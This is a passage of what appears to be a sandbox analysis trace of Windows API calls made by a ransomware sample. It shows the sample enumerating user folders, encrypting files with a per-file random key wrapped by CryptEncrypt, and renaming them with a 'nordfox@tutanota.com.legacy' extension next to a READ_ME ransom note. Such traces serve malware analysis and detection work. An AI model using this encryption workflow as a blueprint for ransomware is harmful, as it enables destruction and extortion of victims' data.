pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.408] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.409] WriteFile (in: hFile=0x6c0, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.409] WriteFile (in: hFile=0x6c0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.409] CloseHandle (hObject=0x6c0) returned 1 [0118.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0118.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0118.410] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\ki1g5jX8sFk.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\ki1g5jx8sfk.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\ki1g5jX8sFk.m4a.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\ki1g5jx8sfk.m4a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41960 | out: hHeap=0x520000) returned 1 [0118.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0118.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0118.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0118.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0118.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0118.412] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0118.412] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0118.412] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\7sUXHqc1ujAXFk.m4a", dwFileAttributes=0x80) returned 1 [0118.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0118.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e417f0 [0118.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0118.413] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\7sUXHqc1ujAXFk.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\7suxhqc1ujaxfk.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0118.413] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=100795) returned 1 [0118.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x189bb) returned 0x2e41f30 [0118.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x189bb) returned 0x2e5a8f8 [0118.414] ReadFile (in: hFile=0x6c0, lpBuffer=0x2e41f30, nNumberOfBytesToRead=0x189bb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e41f30*, lpNumberOfBytesRead=0x2e1f9bc*=0x189bb, lpOverlapped=0x0) returned 1 [0118.418] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=-100795, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.418] WriteFile (in: hFile=0x6c0, lpBuffer=0x2e5a8f8*, nNumberOfBytesToWrite=0x189bb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e5a8f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x189bb, lpOverlapped=0x0) returned 1 [0118.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e41f30 | out: hHeap=0x520000) returned 1 [0118.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e5a8f8 | out: hHeap=0x520000) returned 1 [0118.421] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x189bb [0118.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.422] WriteFile (in: hFile=0x6c0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.422] WriteFile (in: hFile=0x6c0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.422] CloseHandle (hObject=0x6c0) returned 1 [0118.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0118.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0118.423] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\7sUXHqc1ujAXFk.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\7suxhqc1ujaxfk.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\7sUXHqc1ujAXFk.m4a.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\music\\fo7jte\\7suxhqc1ujaxfk.m4a.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e417f0 | out: hHeap=0x520000) returned 1 [0118.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0118.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0118.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0118.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0118.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0118.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0118.431] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Pictures\\Camera Roll\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3d0d8e1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566c58 [0118.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0118.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0118.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0118.431] GetLastError () returned 0x0 [0118.431] SetLastError (dwErrCode=0x0) [0118.431] GetLastError () returned 0x0 [0118.431] SetLastError (dwErrCode=0x0) [0118.431] GetLastError () returned 0x0 [0118.432] SetLastError (dwErrCode=0x0) [0118.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0118.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0118.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0118.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0118.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566f98 [0118.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f98 | out: hHeap=0x520000) returned 1 [0118.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0118.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0118.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0118.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0118.432] FindNextFileW (in: hFindFile=0x566c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3d0d8e1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0118.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0118.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0118.433] GetLastError () returned 0x0 [0118.433] SetLastError (dwErrCode=0x0) [0118.433] GetLastError () returned 0x0 [0118.433] SetLastError (dwErrCode=0x0) [0118.433] GetLastError () returned 0x0 [0118.433] SetLastError (dwErrCode=0x0) [0118.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0118.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d500 [0118.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0118.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0118.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567218 [0118.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567218 | out: hHeap=0x520000) returned 1 [0118.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200f0 [0118.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200f0 | out: hHeap=0x520000) returned 1 [0118.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0118.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0118.433] FindNextFileW (in: hFindFile=0x566c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0118.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0118.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0118.434] GetLastError () returned 0x0 [0118.434] SetLastError (dwErrCode=0x0) [0118.434] GetLastError () returned 0x0 [0118.434] SetLastError (dwErrCode=0x0) [0118.434] GetLastError () returned 0x0 [0118.434] SetLastError (dwErrCode=0x0) [0118.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0118.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0118.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0118.434] FindNextFileW (in: hFindFile=0x566c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d0d8e1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd3d0d8e1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd3d0d8e1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0118.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0118.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0118.435] GetLastError () returned 0x0 [0118.435] SetLastError (dwErrCode=0x0) [0118.435] GetLastError () returned 0x0 [0118.435] SetLastError (dwErrCode=0x0) [0118.435] GetLastError () returned 0x0 [0118.435] SetLastError (dwErrCode=0x0) [0118.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0118.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0118.435] FindNextFileW (in: hFindFile=0x566c58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d0d8e1, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd3d0d8e1, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd3d0d8e1, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0118.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0118.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c54a8 [0118.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0118.435] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0118.435] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0118.435] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini", dwFileAttributes=0x80) returned 1 [0118.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0118.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0118.439] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0118.439] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c4 [0118.439] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=190) returned 1 [0118.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbe) returned 0x5e8e30 [0118.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbe) returned 0x5e8a48 [0118.439] ReadFile (in: hFile=0x6c4, lpBuffer=0x5e8e30, nNumberOfBytesToRead=0xbe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e8e30*, lpNumberOfBytesRead=0x2e1f9bc*=0xbe, lpOverlapped=0x0) returned 1 [0118.440] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=-190, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.441] WriteFile (in: hFile=0x6c4, lpBuffer=0x5e8a48*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e8a48*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbe, lpOverlapped=0x0) returned 1 [0118.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0118.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0118.441] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbe [0118.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0118.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0118.441] WriteFile (in: hFile=0x6c4, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0118.442] WriteFile (in: hFile=0x6c4, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0118.442] CloseHandle (hObject=0x6c4) returned 1 [0118.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54a8 | out: hHeap=0x520000) returned 1 [0118.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0118.442] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0118.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0118.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0118.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0118.445] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0118.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0118.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0118.445] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Pictures\\Saved Pictures\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3d391c6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x567118 [0118.445] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0118.448] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0118.448] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0118.448] GetLastError () returned 0x0 [0118.448] SetLastError (dwErrCode=0x0) [0118.448] GetLastError () returned 0x0 [0118.449] SetLastError (dwErrCode=0x0) [0118.449] GetLastError () returned 0x0 [0118.449] SetLastError (dwErrCode=0x0) [0118.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0118.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0118.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0118.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0118.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566f98 [0118.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f98 | out: hHeap=0x520000) returned 1 [0118.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0118.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0118.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0118.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0118.449] FindNextFileW (in: hFindFile=0x567118, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3d391c6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0118.449] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0118.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0118.449] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0118.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0118.450] GetLastError () returned 0x0 [0118.450] SetLastError (dwErrCode=0x0) [0118.450] GetLastError () returned 0x0 [0118.450] SetLastError (dwErrCode=0x0) [0118.450] GetLastError () returned 0x0 [0118.450] SetLastError (dwErrCode=0x0) [0118.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0118.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0118.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0118.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0118.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566e18 [0118.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e18 | out: hHeap=0x520000) returned 1 [0118.450] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0118.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0118.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0118.450] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0118.450] FindNextFileW (in: hFindFile=0x567118, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51311410, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0118.451] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0118.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0118.451] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0118.451] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0118.451] GetLastError () returned 0x0 [0118.451] SetLastError (dwErrCode=0x0) [0118.451] GetLastError () returned 0x0 [0118.451] SetLastError (dwErrCode=0x0) [0118.451] GetLastError () returned 0x0 [0118.451] SetLastError (dwErrCode=0x0) [0118.451] 